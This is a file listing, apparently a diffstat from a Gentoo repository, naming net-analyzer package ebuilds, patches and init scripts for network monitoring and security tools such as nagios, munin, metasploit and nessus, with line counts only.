-rw-r--r--net-analyzer/icinga2/files/icinga2.initd81
-rw-r--r--net-analyzer/icinga2/icinga2-2.3.5.ebuild158
-rw-r--r--net-analyzer/icinga2/icinga2-2.3.6.ebuild157
-rw-r--r--net-analyzer/icinga2/icinga2-2.3.7.ebuild157
-rw-r--r--net-analyzer/icinga2/icinga2-2.3.8.ebuild157
-rw-r--r--net-analyzer/icinga2/icinga2-9999.ebuild158
-rw-r--r--net-analyzer/icinga2/metadata.xml13
-rw-r--r--net-analyzer/ifmetric/Manifest1
-rw-r--r--net-analyzer/ifmetric/files/ifmetric-0.3-ul.patch11
-rw-r--r--net-analyzer/ifmetric/ifmetric-0.3-r1.ebuild34
-rw-r--r--net-analyzer/ifmetric/ifmetric-0.3.ebuild32
-rw-r--r--net-analyzer/ifmetric/metadata.xml5
-rw-r--r--net-analyzer/ifstat/Manifest1
-rw-r--r--net-analyzer/ifstat/files/ifstat-1.1-hardened.patch11
-rw-r--r--net-analyzer/ifstat/files/ifstat-1.1-make.patch122
-rw-r--r--net-analyzer/ifstat/ifstat-1.1-r2.ebuild32
-rw-r--r--net-analyzer/ifstat/metadata.xml12
-rw-r--r--net-analyzer/ifstatus/Manifest1
-rw-r--r--net-analyzer/ifstatus/files/ifstatus-1.1.0-gcc43.patch10
-rw-r--r--net-analyzer/ifstatus/files/ifstatus-1.1.0-tinfo.patch22
-rw-r--r--net-analyzer/ifstatus/ifstatus-1.1.0-r1.ebuild40
-rw-r--r--net-analyzer/ifstatus/metadata.xml8
-rw-r--r--net-analyzer/iftop/Manifest1
-rw-r--r--net-analyzer/iftop/files/ax_pthread.m4317
-rw-r--r--net-analyzer/iftop/files/iftop-1.0_pre4-Makefile.am.patch11
-rw-r--r--net-analyzer/iftop/files/iftop-1.0_pre4-configure.ac.patch278
-rw-r--r--net-analyzer/iftop/files/iftop-1.0_pre4-pthread.patch46
-rw-r--r--net-analyzer/iftop/files/iftop-1.0_pre4-tinfo.patch55
-rw-r--r--net-analyzer/iftop/files/iftop-1.0_pre4-tsent-set-but-not-used.patch12
-rw-r--r--net-analyzer/iftop/files/iftoprc59
-rw-r--r--net-analyzer/iftop/iftop-1.0_pre4-r2.ebuild46
-rw-r--r--net-analyzer/iftop/iftop-1.0_pre4.ebuild43
-rw-r--r--net-analyzer/iftop/metadata.xml5
-rw-r--r--net-analyzer/ike-scan/Manifest1
-rw-r--r--net-analyzer/ike-scan/ike-scan-1.9-r1.ebuild35
-rw-r--r--net-analyzer/ike-scan/metadata.xml5
-rw-r--r--net-analyzer/ipaudit/Manifest1
-rw-r--r--net-analyzer/ipaudit/ipaudit-1.0_beta2.ebuild27
-rw-r--r--net-analyzer/ipaudit/metadata.xml11
-rw-r--r--net-analyzer/ipband/Manifest1
-rw-r--r--net-analyzer/ipband/files/ipband-0.8.1-gentoo.patch20
-rw-r--r--net-analyzer/ipband/files/ipband-0.8.1-postfix.patch13
-rw-r--r--net-analyzer/ipband/files/ipband-init25
-rw-r--r--net-analyzer/ipband/ipband-0.8.1-r1.ebuild37
-rw-r--r--net-analyzer/ipband/metadata.xml5
-rw-r--r--net-analyzer/ipcad/Manifest1
-rw-r--r--net-analyzer/ipcad/files/ipcad-3.7-linux-2.6.27.patch21
-rw-r--r--net-analyzer/ipcad/files/ipcad-3.7-linux-2.6.35.patch43
-rw-r--r--net-analyzer/ipcad/files/ipcad-3.7.3-signal_h.patch32
-rw-r--r--net-analyzer/ipcad/files/ipcad.conf.d10
-rw-r--r--net-analyzer/ipcad/files/ipcad.init37
-rw-r--r--net-analyzer/ipcad/ipcad-3.7.3.ebuild53
-rw-r--r--net-analyzer/ipcad/metadata.xml9
-rw-r--r--net-analyzer/ipgen/ipgen-9999.ebuild18
-rw-r--r--net-analyzer/ipgen/metadata.xml8
-rw-r--r--net-analyzer/ipguard/Manifest1
-rw-r--r--net-analyzer/ipguard/files/ipguard.confd8
-rw-r--r--net-analyzer/ipguard/ipguard-1.04.ebuild50
-rw-r--r--net-analyzer/ipguard/metadata.xml5
-rw-r--r--net-analyzer/iplog/Manifest1
-rw-r--r--net-analyzer/iplog/files/2.2.3-DLT_LINUX_SSL.patch134
-rw-r--r--net-analyzer/iplog/files/iplog.rc637
-rw-r--r--net-analyzer/iplog/iplog-2.2.3-r2.ebuild36
-rw-r--r--net-analyzer/iplog/metadata.xml9
-rw-r--r--net-analyzer/ippl/Manifest1
-rw-r--r--net-analyzer/ippl/files/ippl-1.4.14-format-warnings.patch20
-rw-r--r--net-analyzer/ippl/files/ippl-1.4.14-includes.patch20
-rw-r--r--net-analyzer/ippl/files/ippl-1.4.14-manpage.patch15
-rw-r--r--net-analyzer/ippl/files/ippl-1.4.14-noportresolve.patch347
-rw-r--r--net-analyzer/ippl/files/ippl-1.4.14-privilege-drop.patch140
-rw-r--r--net-analyzer/ippl/files/ippl.rc31
-rw-r--r--net-analyzer/ippl/ippl-1.4.14-r3.ebuild55
-rw-r--r--net-analyzer/ippl/ippl-1.4.14-r5.ebuild57
-rw-r--r--net-analyzer/ippl/metadata.xml5
-rw-r--r--net-analyzer/iptraf-ng/Manifest1
-rw-r--r--net-analyzer/iptraf-ng/files/iptraf-ng-1.1.4-printf-format.patch11
-rw-r--r--net-analyzer/iptraf-ng/files/iptraf-ng-1.1.4-sprintf-format.patch20
-rw-r--r--net-analyzer/iptraf-ng/files/iptraf-ng-1.1.4-tcplog_flowrate_msg.patch11
-rw-r--r--net-analyzer/iptraf-ng/iptraf-ng-1.1.4-r1.ebuild63
-rw-r--r--net-analyzer/iptraf-ng/iptraf-ng-1.1.4-r2.ebuild65
-rw-r--r--net-analyzer/iptraf-ng/iptraf-ng-9999.ebuild61
-rw-r--r--net-analyzer/iptraf-ng/metadata.xml8
-rw-r--r--net-analyzer/iptstate/Manifest1
-rw-r--r--net-analyzer/iptstate/files/iptstate-2.2.5-gentoo.patch26
-rw-r--r--net-analyzer/iptstate/iptstate-2.2.5.ebuild33
-rw-r--r--net-analyzer/iptstate/metadata.xml9
-rw-r--r--net-analyzer/ipv6-toolkit/Manifest2
-rw-r--r--net-analyzer/ipv6-toolkit/files/ipv6-toolkit-1.3.1-destdir.patch40
-rw-r--r--net-analyzer/ipv6-toolkit/files/ipv6-toolkit-1.4.1-oui-path.patch22
-rw-r--r--net-analyzer/ipv6-toolkit/ipv6-toolkit-1.3.1.ebuild42
-rw-r--r--net-analyzer/ipv6-toolkit/ipv6-toolkit-1.4.1.ebuild49
-rw-r--r--net-analyzer/ipv6-toolkit/metadata.xml12
-rw-r--r--net-analyzer/isic/Manifest1
-rw-r--r--net-analyzer/isic/isic-0.07-r1.ebuild36
-rw-r--r--net-analyzer/isic/metadata.xml8
-rw-r--r--net-analyzer/jffnms/Manifest1
-rw-r--r--net-analyzer/jffnms/jffnms-0.9.4.ebuild58
-rw-r--r--net-analyzer/jffnms/metadata.xml8
-rw-r--r--net-analyzer/jmx2munin/Manifest1
-rw-r--r--net-analyzer/jmx2munin/jmx2munin-1.0_p20120811-r1.ebuild55
-rw-r--r--net-analyzer/jmx2munin/metadata.xml9
-rw-r--r--net-analyzer/jnettop/Manifest1
-rw-r--r--net-analyzer/jnettop/files/jnettop-0.13.0-asneeded.patch12
-rw-r--r--net-analyzer/jnettop/files/jnettop-0.13.0-tinfo.patch11
-rw-r--r--net-analyzer/jnettop/jnettop-0.13.0-r1.ebuild47
-rw-r--r--net-analyzer/jnettop/metadata.xml6
-rw-r--r--net-analyzer/knocker/Manifest1
-rw-r--r--net-analyzer/knocker/files/knocker-0.7.1-fency.patch149
-rw-r--r--net-analyzer/knocker/files/knocker-0.7.1-free.patch30
-rw-r--r--net-analyzer/knocker/files/knocker-0.7.1-knocker_user_is_root.patch11
-rw-r--r--net-analyzer/knocker/knocker-0.7.1-r2.ebuild30
-rw-r--r--net-analyzer/knocker/knocker-0.7.1-r3.ebuild26
-rw-r--r--net-analyzer/knocker/metadata.xml8
-rw-r--r--net-analyzer/labrea/Manifest1
-rw-r--r--net-analyzer/labrea/files/labrea-2.5-stable-1-incdir.patch11
-rw-r--r--net-analyzer/labrea/labrea-2.5-r2.ebuild40
-rw-r--r--net-analyzer/labrea/metadata.xml9
-rw-r--r--net-analyzer/lft/Manifest1
-rw-r--r--net-analyzer/lft/lft-3.73.ebuild22
-rw-r--r--net-analyzer/lft/metadata.xml6
-rw-r--r--net-analyzer/libnasl/Manifest1
-rw-r--r--net-analyzer/libnasl/files/libnasl-2.2.9-bison3.patch29
-rw-r--r--net-analyzer/libnasl/files/libnasl-2.2.9-gentoo.patch29
-rw-r--r--net-analyzer/libnasl/files/libnasl-2.2.9-openssl-1.patch45
-rw-r--r--net-analyzer/libnasl/libnasl-2.2.9-r1.ebuild55
-rw-r--r--net-analyzer/libnasl/metadata.xml5
-rw-r--r--net-analyzer/lilac/Manifest1
-rw-r--r--net-analyzer/lilac/lilac-1.0.3.ebuild37
-rw-r--r--net-analyzer/lilac/metadata.xml5
-rw-r--r--net-analyzer/linkchecker/Manifest1
-rw-r--r--net-analyzer/linkchecker/files/7.0-unbundle.patch28
-rw-r--r--net-analyzer/linkchecker/files/7.4-missing-files.patch13
-rw-r--r--net-analyzer/linkchecker/files/linkchecker-8.0-desktop.patch28
-rw-r--r--net-analyzer/linkchecker/files/linkchecker-8.3-unbundle.patch28
-rw-r--r--net-analyzer/linkchecker/files/linkchecker-8.4-help.patch36
-rw-r--r--net-analyzer/linkchecker/files/linkchecker-9.2-unbundle.patch30
-rw-r--r--net-analyzer/linkchecker/files/linkchecker-9.3-bash-completion.patch21
-rw-r--r--net-analyzer/linkchecker/files/linkchecker-9.3-desktop.patch34
-rw-r--r--net-analyzer/linkchecker/linkchecker-9.3-r1.ebuild82
-rw-r--r--net-analyzer/linkchecker/linkchecker-9999.ebuild79
-rw-r--r--net-analyzer/linkchecker/metadata.xml13
-rw-r--r--net-analyzer/macchanger/Manifest1
-rw-r--r--net-analyzer/macchanger/macchanger-1.7.0.ebuild31
-rw-r--r--net-analyzer/macchanger/metadata.xml12
-rw-r--r--net-analyzer/masscan/Manifest1
-rw-r--r--net-analyzer/masscan/files/masscan.conf7
-rw-r--r--net-analyzer/masscan/masscan-1.0.3-r1.ebuild44
-rw-r--r--net-analyzer/masscan/metadata.xml23
-rw-r--r--net-analyzer/mate-netspeed/Manifest1
-rw-r--r--net-analyzer/mate-netspeed/mate-netspeed-1.8.0.ebuild37
-rw-r--r--net-analyzer/mate-netspeed/metadata.xml8
-rw-r--r--net-analyzer/mbrowse/Manifest1
-rw-r--r--net-analyzer/mbrowse/mbrowse-0.4.3.ebuild32
-rw-r--r--net-analyzer/mbrowse/metadata.xml8
-rw-r--r--net-analyzer/metadata.xml32
-rw-r--r--net-analyzer/metasploit/Manifest2
-rw-r--r--net-analyzer/metasploit/files/agix_psexec_pull-2657.patch219
-rw-r--r--net-analyzer/metasploit/files/database.yml34
-rw-r--r--net-analyzer/metasploit/files/metasploit.icon224
-rw-r--r--net-analyzer/metasploit/files/msfrpcd-4.0-conf25
-rw-r--r--net-analyzer/metasploit/files/msfrpcd-4.0-initd22
-rw-r--r--net-analyzer/metasploit/files/msfrpcd-4.2-conf25
-rw-r--r--net-analyzer/metasploit/files/msfrpcd-4.2-initd22
-rw-r--r--net-analyzer/metasploit/files/msfrpcd-4.3-conf25
-rw-r--r--net-analyzer/metasploit/files/msfrpcd-4.3-initd22
-rw-r--r--net-analyzer/metasploit/files/msfrpcd-4.4-conf25
-rw-r--r--net-analyzer/metasploit/files/msfrpcd-4.4-initd22
-rw-r--r--net-analyzer/metasploit/files/msfweb.confd13
-rw-r--r--net-analyzer/metasploit/files/msfweb.initd18
-rw-r--r--net-analyzer/metasploit/metadata.xml15
-rw-r--r--net-analyzer/metasploit/metasploit-2.7.ebuild48
-rw-r--r--net-analyzer/metasploit/metasploit-4.9.3.ebuild273
-rw-r--r--net-analyzer/metasploit/metasploit-9999.ebuild274
-rw-r--r--net-analyzer/mk-livestatus/Manifest1
-rw-r--r--net-analyzer/mk-livestatus/files/mk-livestatus-1.2.2_p3-no-strip.diff23
-rw-r--r--net-analyzer/mk-livestatus/files/mk-livestatus-1.2.2_p3-test-RequireRcsKeywords.diff18
-rw-r--r--net-analyzer/mk-livestatus/metadata.xml7
-rw-r--r--net-analyzer/mk-livestatus/mk-livestatus-1.2.2_p3.ebuild126
-rw-r--r--net-analyzer/monitoring-plugins/Manifest1
-rw-r--r--net-analyzer/monitoring-plugins/metadata.xml38
-rw-r--r--net-analyzer/monitoring-plugins/monitoring-plugins-2.1.1.ebuild96
-rw-r--r--net-analyzer/mping/Manifest1
-rw-r--r--net-analyzer/mping/files/mping-2.01-RFC3542.patch56
-rw-r--r--net-analyzer/mping/metadata.xml15
-rw-r--r--net-analyzer/mping/mping-2.01.ebuild20
-rw-r--r--net-analyzer/mrtg-ping-probe/Manifest1
-rw-r--r--net-analyzer/mrtg-ping-probe/files/mrtg-ping-cfg84
-rw-r--r--net-analyzer/mrtg-ping-probe/metadata.xml5
-rw-r--r--net-analyzer/mrtg-ping-probe/mrtg-ping-probe-2.2.0.ebuild34
-rw-r--r--net-analyzer/mrtg/Manifest1
-rw-r--r--net-analyzer/mrtg/files/mrtg-2.17.4-socket6.patch11
-rw-r--r--net-analyzer/mrtg/files/mrtg.confd17
-rw-r--r--net-analyzer/mrtg/files/mrtg.rc54
-rw-r--r--net-analyzer/mrtg/metadata.xml5
-rw-r--r--net-analyzer/mrtg/mrtg-2.17.4-r1.ebuild40
-rw-r--r--net-analyzer/mtr/Manifest2
-rw-r--r--net-analyzer/mtr/files/0.80-impl-dec.patch12
-rw-r--r--net-analyzer/mtr/files/0.85-gtk.patch40
-rw-r--r--net-analyzer/mtr/metadata.xml5
-rw-r--r--net-analyzer/mtr/mtr-0.86.ebuild42
-rw-r--r--net-analyzer/mtr/mtr-9999.ebuild59
-rw-r--r--net-analyzer/multimon-ng/Manifest1
-rw-r--r--net-analyzer/multimon-ng/metadata.xml14
-rw-r--r--net-analyzer/multimon-ng/multimon-ng-1.0.0-r1.ebuild39
-rw-r--r--net-analyzer/multimon-ng/multimon-ng-9999.ebuild39
-rw-r--r--net-analyzer/munin/Manifest4
-rw-r--r--net-analyzer/munin/files/localstart-munin5
-rw-r--r--net-analyzer/munin/files/logrotate.d-munin.230
-rw-r--r--net-analyzer/munin/files/logrotate.d-munin.331
-rw-r--r--net-analyzer/munin/files/munin-1.3.2-plugins.conf81
-rw-r--r--net-analyzer/munin/files/munin-async.service10
-rw-r--r--net-analyzer/munin/files/munin-asyncd.init.220
-rw-r--r--net-analyzer/munin/files/munin-graph.service11
-rw-r--r--net-analyzer/munin/files/munin-graph.socket8
-rw-r--r--net-analyzer/munin/files/munin-html.service11
-rw-r--r--net-analyzer/munin/files/munin-html.socket8
-rw-r--r--net-analyzer/munin/files/munin-node.service11
-rw-r--r--net-analyzer/munin/files/munin-node_conf.d_1.4.6-r28
-rw-r--r--net-analyzer/munin/files/munin-node_init.d_2.0.1927
-rw-r--r--net-analyzer/munin/files/munin-node_init.d_2.0.737
-rw-r--r--net-analyzer/munin/files/munin.apache.include31
-rw-r--r--net-analyzer/munin/files/munin.apache.include-2.428
-rw-r--r--net-analyzer/munin/metadata.xml90
-rw-r--r--net-analyzer/munin/munin-2.0.19-r1.ebuild397
-rw-r--r--net-analyzer/munin/munin-2.0.19.ebuild397
-rw-r--r--net-analyzer/munin/munin-2.0.25-r1.ebuild411
-rw-r--r--net-analyzer/munin/munin-2.0.25.ebuild407
-rw-r--r--net-analyzer/munin/munin-2.1.9999.ebuild382
-rw-r--r--net-analyzer/nagios-check_dnssec/Manifest1
-rw-r--r--net-analyzer/nagios-check_dnssec/metadata.xml16
-rw-r--r--net-analyzer/nagios-check_dnssec/nagios-check_dnssec-0.1_p28.ebuild31
-rw-r--r--net-analyzer/nagios-check_fail2ban/Manifest1
-rw-r--r--net-analyzer/nagios-check_fail2ban/metadata.xml18
-rw-r--r--net-analyzer/nagios-check_fail2ban/nagios-check_fail2ban-3.ebuild33
-rw-r--r--net-analyzer/nagios-check_glsa2/Manifest1
-rw-r--r--net-analyzer/nagios-check_glsa2/metadata.xml19
-rw-r--r--net-analyzer/nagios-check_glsa2/nagios-check_glsa2-20120930-r1.ebuild43
-rw-r--r--net-analyzer/nagios-check_ipmi_sensor/Manifest3
-rw-r--r--net-analyzer/nagios-check_ipmi_sensor/metadata.xml15
-rw-r--r--net-analyzer/nagios-check_ipmi_sensor/nagios-check_ipmi_sensor-3.1.ebuild33
-rw-r--r--net-analyzer/nagios-check_ipmi_sensor/nagios-check_ipmi_sensor-3.2.ebuild33
-rw-r--r--net-analyzer/nagios-check_ipmi_sensor/nagios-check_ipmi_sensor-3.6.ebuild33
-rw-r--r--net-analyzer/nagios-check_linux_bonding/Manifest2
-rw-r--r--net-analyzer/nagios-check_linux_bonding/metadata.xml9
-rw-r--r--net-analyzer/nagios-check_linux_bonding/nagios-check_linux_bonding-1.3.2.ebuild35
-rw-r--r--net-analyzer/nagios-check_linux_bonding/nagios-check_linux_bonding-1.4.ebuild35
-rw-r--r--net-analyzer/nagios-check_logfiles/Manifest1
-rw-r--r--net-analyzer/nagios-check_logfiles/metadata.xml16
-rw-r--r--net-analyzer/nagios-check_logfiles/nagios-check_logfiles-2.3.2.1-r1.ebuild33
-rw-r--r--net-analyzer/nagios-check_mysql_health/Manifest2
-rw-r--r--net-analyzer/nagios-check_mysql_health/metadata.xml23
-rw-r--r--net-analyzer/nagios-check_mysql_health/nagios-check_mysql_health-2.1.8.2.ebuild31
-rw-r--r--net-analyzer/nagios-check_mysql_health/nagios-check_mysql_health-2.1.9.2.ebuild42
-rw-r--r--net-analyzer/nagios-check_openvpn-simple/Manifest1
-rw-r--r--net-analyzer/nagios-check_openvpn-simple/metadata.xml8
-rw-r--r--net-analyzer/nagios-check_openvpn-simple/nagios-check_openvpn-simple-0.0.1.ebuild40
-rw-r--r--net-analyzer/nagios-check_pidfile/Manifest1
-rw-r--r--net-analyzer/nagios-check_pidfile/metadata.xml18
-rw-r--r--net-analyzer/nagios-check_pidfile/nagios-check_pidfile-1.ebuild29
-rw-r--r--net-analyzer/nagios-check_rbl/Manifest2
-rw-r--r--net-analyzer/nagios-check_rbl/metadata.xml20
-rw-r--r--net-analyzer/nagios-check_rbl/nagios-check_rbl-1.3.0.ebuild44
-rw-r--r--net-analyzer/nagios-check_rbl/nagios-check_rbl-1.3.7.ebuild53
-rw-r--r--net-analyzer/nagios-core/Manifest3
-rw-r--r--net-analyzer/nagios-core/files/99_nagios3.conf15
-rw-r--r--net-analyzer/nagios-core/files/99_nagios4.conf16
-rw-r--r--net-analyzer/nagios-core/files/conf.d10
-rw-r--r--net-analyzer/nagios-core/files/fix-bogus-perf-data-warnings.patch32
-rw-r--r--net-analyzer/nagios-core/files/lighttpd_nagios3-r1.conf24
-rw-r--r--net-analyzer/nagios-core/files/lighttpd_nagios4.conf15
-rw-r--r--net-analyzer/nagios-core/files/nagios57
-rw-r--r--net-analyzer/nagios-core/files/nagios-3.3.1-htmlmakefile.patch14
-rw-r--r--net-analyzer/nagios-core/files/nagios-core-3.5.1-process_cgivars.patch175
-rw-r--r--net-analyzer/nagios-core/files/nagios353
-rw-r--r--net-analyzer/nagios-core/files/nagios452
-rw-r--r--net-analyzer/nagios-core/files/statuswml-bug275288.patch51
-rw-r--r--net-analyzer/nagios-core/files/use-INSTALL-to-install-themes.patch59
-rw-r--r--net-analyzer/nagios-core/files/use-MAKE-instead-of-bare-make.patch37
-rw-r--r--net-analyzer/nagios-core/metadata.xml41
-rw-r--r--net-analyzer/nagios-core/nagios-core-3.5.1.ebuild217
-rw-r--r--net-analyzer/nagios-core/nagios-core-4.0.8-r1.ebuild270
-rw-r--r--net-analyzer/nagios-core/nagios-core-4.0.8-r2.ebuild282
-rw-r--r--net-analyzer/nagios-plugins-flameeyes/metadata.xml19
-rw-r--r--net-analyzer/nagios-plugins-flameeyes/nagios-plugins-flameeyes-9999.ebuild50
-rw-r--r--net-analyzer/nagios-plugins-snmp/Manifest1
-rw-r--r--net-analyzer/nagios-plugins-snmp/metadata.xml17
-rw-r--r--net-analyzer/nagios-plugins-snmp/nagios-plugins-snmp-0.6.0-r2.ebuild46
-rw-r--r--net-analyzer/nagios-plugins/Manifest1
-rw-r--r--net-analyzer/nagios-plugins/metadata.xml39
-rw-r--r--net-analyzer/nagios-plugins/nagios-plugins-2.0.3-r2.ebuild98
-rw-r--r--net-analyzer/nagios-sap-ccms-plugin/Manifest2
-rw-r--r--net-analyzer/nagios-sap-ccms-plugin/files/nagios-sap-ccms-plugin-0.8-gentoo.patch61
-rw-r--r--net-analyzer/nagios-sap-ccms-plugin/metadata.xml19
-rw-r--r--net-analyzer/nagios-sap-ccms-plugin/nagios-sap-ccms-plugin-0.7.3-r1.ebuild52
-rw-r--r--net-analyzer/nagios-sap-ccms-plugin/nagios-sap-ccms-plugin-0.8.ebuild67
-rw-r--r--net-analyzer/nagios/metadata.xml34
-rw-r--r--net-analyzer/nagios/nagios-3.5.1.ebuild54
-rw-r--r--net-analyzer/nagios/nagios-4.0.8-r1.ebuild23
-rw-r--r--net-analyzer/nagios/nagios-4.0.8.ebuild23
-rw-r--r--net-analyzer/nagircbot/Manifest1
-rw-r--r--net-analyzer/nagircbot/files/conf2
-rwxr-xr-xnet-analyzer/nagircbot/files/init20
-rw-r--r--net-analyzer/nagircbot/metadata.xml5
-rw-r--r--net-analyzer/nagircbot/nagircbot-0.0.33.ebuild40
-rw-r--r--net-analyzer/nagstamon/Manifest2
-rw-r--r--net-analyzer/nagstamon/files/nagstamon-0.9.11_rc1-resources.patch13
-rw-r--r--net-analyzer/nagstamon/files/nagstamon.desktop11
-rw-r--r--net-analyzer/nagstamon/metadata.xml12
-rw-r--r--net-analyzer/nagstamon/nagstamon-0.9.11_rc1.ebuild77
-rw-r--r--net-analyzer/nagstamon/nagstamon-1.0.1.ebuild65
-rw-r--r--net-analyzer/nagtrap/Manifest1
-rw-r--r--net-analyzer/nagtrap/metadata.xml7
-rw-r--r--net-analyzer/nagtrap/nagtrap-0.1.3.ebuild46
-rw-r--r--net-analyzer/nagvis/Manifest1
-rw-r--r--net-analyzer/nagvis/files/nagvis-1.6.6-base-path.patch13
-rw-r--r--net-analyzer/nagvis/files/nagvis-1.6.6-global-definitions.patch30
-rw-r--r--net-analyzer/nagvis/metadata.xml13
-rw-r--r--net-analyzer/nagvis/nagvis-1.6.6.ebuild91
-rw-r--r--net-analyzer/namebench/Manifest1
-rw-r--r--net-analyzer/namebench/metadata.xml8
-rw-r--r--net-analyzer/namebench/namebench-1.3.1-r1.ebuild44
-rw-r--r--net-analyzer/nast/Manifest1
-rw-r--r--net-analyzer/nast/files/nast-0.2.0-gentoo.patch79
-rw-r--r--net-analyzer/nast/metadata.xml8
-rw-r--r--net-analyzer/nast/nast-0.2.0-r1.ebuild39
-rw-r--r--net-analyzer/nb/Manifest2
-rw-r--r--net-analyzer/nb/files/nb-0.8.14-include.patch30
-rw-r--r--net-analyzer/nb/metadata.xml8
-rw-r--r--net-analyzer/nb/nb-0.9.02.ebuild59
-rw-r--r--net-analyzer/nb/nb-0.9.03.ebuild47
-rw-r--r--net-analyzer/nbtscan/Manifest1
-rw-r--r--net-analyzer/nbtscan/files/nbtscan-1.5.1-gentoo.patch15
-rw-r--r--net-analyzer/nbtscan/files/nbtscan-1.5.1-includes-declarations.patch42
-rw-r--r--net-analyzer/nbtscan/files/nbtscan-1.5.1-script-whitespace.patch119
-rw-r--r--net-analyzer/nbtscan/metadata.xml5
-rw-r--r--net-analyzer/nbtscan/nbtscan-1.5.1-r3.ebuild30
-rw-r--r--net-analyzer/nbwmon/Manifest3
-rw-r--r--net-analyzer/nbwmon/files/nbwmon-0.4.3-tinfo.patch11
-rw-r--r--net-analyzer/nbwmon/files/nbwmon-0.5.2-tinfo.patch11
-rw-r--r--net-analyzer/nbwmon/metadata.xml8
-rw-r--r--net-analyzer/nbwmon/nbwmon-0.4.3.ebuild27
-rw-r--r--net-analyzer/nbwmon/nbwmon-0.5.1.ebuild27
-rw-r--r--net-analyzer/nbwmon/nbwmon-0.5.2.ebuild32
-rw-r--r--net-analyzer/ncrack/Manifest2
-rw-r--r--net-analyzer/ncrack/metadata.xml14
-rw-r--r--net-analyzer/ncrack/ncrack-0.3_alpha.ebuild33
-rw-r--r--net-analyzer/ncrack/ncrack-0.4_alpha.ebuild40
-rw-r--r--net-analyzer/ndoutils/Manifest2
-rwxr-xr-xnet-analyzer/ndoutils/files/ndo2db.init-nagios325
-rw-r--r--net-analyzer/ndoutils/files/ndoutils-1.4_beta9-asprintf.patch10
-rw-r--r--net-analyzer/ndoutils/files/ndoutils-2.0.0-asprintf.patch10
-rw-r--r--net-analyzer/ndoutils/files/ndoutils-2.0.0-sleep.patch10
-rw-r--r--net-analyzer/ndoutils/metadata.xml8
-rw-r--r--net-analyzer/ndoutils/ndoutils-1.5.2.ebuild64
-rw-r--r--net-analyzer/ndoutils/ndoutils-2.0.0.ebuild68
-rw-r--r--net-analyzer/ndsad/Manifest1
-rw-r--r--net-analyzer/ndsad/files/ndsad-1.33-conf_path.patch11
-rw-r--r--net-analyzer/ndsad/files/ndsad-1.33-gentoo.patch23
-rw-r--r--net-analyzer/ndsad/files/ndsad-1.33-getpid.patch10
-rw-r--r--net-analyzer/ndsad/files/ndsad-1.33-log-path.patch11
-rw-r--r--net-analyzer/ndsad/files/ndsad-1.33-strncpy-overflow.patch12
-rw-r--r--net-analyzer/ndsad/files/ndsad.conf.d9
-rw-r--r--net-analyzer/ndsad/files/ndsad.init33
-rw-r--r--net-analyzer/ndsad/metadata.xml22
-rw-r--r--net-analyzer/ndsad/ndsad-1.33-r1.ebuild46
-rw-r--r--net-analyzer/nepenthes/Manifest2
-rw-r--r--net-analyzer/nepenthes/files/nepenthes-0.2.2-Werror.patch649
-rw-r--r--net-analyzer/nepenthes/files/nepenthes-0.2.2-cachedir.patch11
-rw-r--r--net-analyzer/nepenthes/files/nepenthes-0.2.2-curl_types_h.patch70
-rw-r--r--net-analyzer/nepenthes/files/nepenthes-0.2.2-gcc4.patch26
-rw-r--r--net-analyzer/nepenthes/files/nepenthes-0.2.2-libdir.patch16
-rw-r--r--net-analyzer/nepenthes/files/nepenthes-0.2.2-sysconfdir.patch77
-rw-r--r--net-analyzer/nepenthes/files/nepenthes.confd5
-rw-r--r--net-analyzer/nepenthes/files/nepenthes.initd21
-rw-r--r--net-analyzer/nepenthes/metadata.xml12
-rw-r--r--net-analyzer/nepenthes/nepenthes-0.2.2-r1.ebuild75
-rw-r--r--net-analyzer/nepenthes/nepenthes-0.2.2.ebuild82
-rw-r--r--net-analyzer/nessus-bin/Manifest4
-rw-r--r--net-analyzer/nessus-bin/files/90nessus-bin1
-rw-r--r--net-analyzer/nessus-bin/files/nessusd-initd26
-rw-r--r--net-analyzer/nessus-bin/metadata.xml5
-rw-r--r--net-analyzer/nessus-bin/nessus-bin-4.4.1.ebuild69
-rw-r--r--net-analyzer/nessus-bin/nessus-bin-5.0.1.ebuild61
-rw-r--r--net-analyzer/nessus-client/Manifest2
-rw-r--r--net-analyzer/nessus-client/files/nessus-client-1.0.2-make.patch74
-rw-r--r--net-analyzer/nessus-client/metadata.xml5
-rw-r--r--net-analyzer/nessus-client/nessus-client-1.0.2-r1.ebuild57
-rw-r--r--net-analyzer/nessus-core/Manifest1
-rw-r--r--net-analyzer/nessus-core/files/2.2.9-crash.patch15
-rw-r--r--net-analyzer/nessus-core/files/2.2.9-gentoo.patch58
-rw-r--r--net-analyzer/nessus-core/files/nessus-core-2.2.9-open.patch11
-rw-r--r--net-analyzer/nessus-core/files/nessusd-r726
-rw-r--r--net-analyzer/nessus-core/metadata.xml6
-rw-r--r--net-analyzer/nessus-core/nessus-core-2.2.9-r1.ebuild66
-rw-r--r--net-analyzer/nessus-libraries/Manifest1
-rw-r--r--net-analyzer/nessus-libraries/files/nessus-libraries-2.2.9-linking.patch61
-rw-r--r--net-analyzer/nessus-libraries/metadata.xml6
-rw-r--r--net-analyzer/nessus-libraries/nessus-libraries-2.2.9-r1.ebuild48
-rw-r--r--net-analyzer/nessus-plugins/Manifest1
-rw-r--r--net-analyzer/nessus-plugins/files/2.2.9-gentoo.patch58
-rw-r--r--net-analyzer/nessus-plugins/metadata.xml6
-rw-r--r--net-analyzer/nessus-plugins/nessus-plugins-2.2.9-r1.ebuild35
-rw-r--r--net-analyzer/nessus/metadata.xml5
-rw-r--r--net-analyzer/nessus/nessus-2.2.9.ebuild35
-rw-r--r--net-analyzer/net-snmp/Manifest4
-rw-r--r--net-analyzer/net-snmp/files/net-snmp-5.1.2-snmpconf-selinux.patch12
-rw-r--r--net-analyzer/net-snmp/files/snmpd.conf17
-rw-r--r--net-analyzer/net-snmp/files/snmpd.init.235
-rw-r--r--net-analyzer/net-snmp/files/snmpd.service9
-rw-r--r--net-analyzer/net-snmp/files/snmptrapd.conf16
-rw-r--r--net-analyzer/net-snmp/files/snmptrapd.init.214
-rw-r--r--net-analyzer/net-snmp/files/snmptrapd.service9
-rw-r--r--net-analyzer/net-snmp/metadata.xml29
-rw-r--r--net-analyzer/net-snmp/net-snmp-5.7.3.ebuild180
-rw-r--r--net-analyzer/net-snmp/net-snmp-5.7.3_pre5-r1.ebuild162
-rw-r--r--net-analyzer/net-snmp/net-snmp-5.7.3_pre5-r2.ebuild163
-rw-r--r--net-analyzer/net-snmp/net-snmp-5.7.3_pre5-r3.ebuild180
-rw-r--r--net-analyzer/netcat/Manifest3
-rw-r--r--net-analyzer/netcat/metadata.xml12
-rw-r--r--net-analyzer/netcat/netcat-110-r9.ebuild53
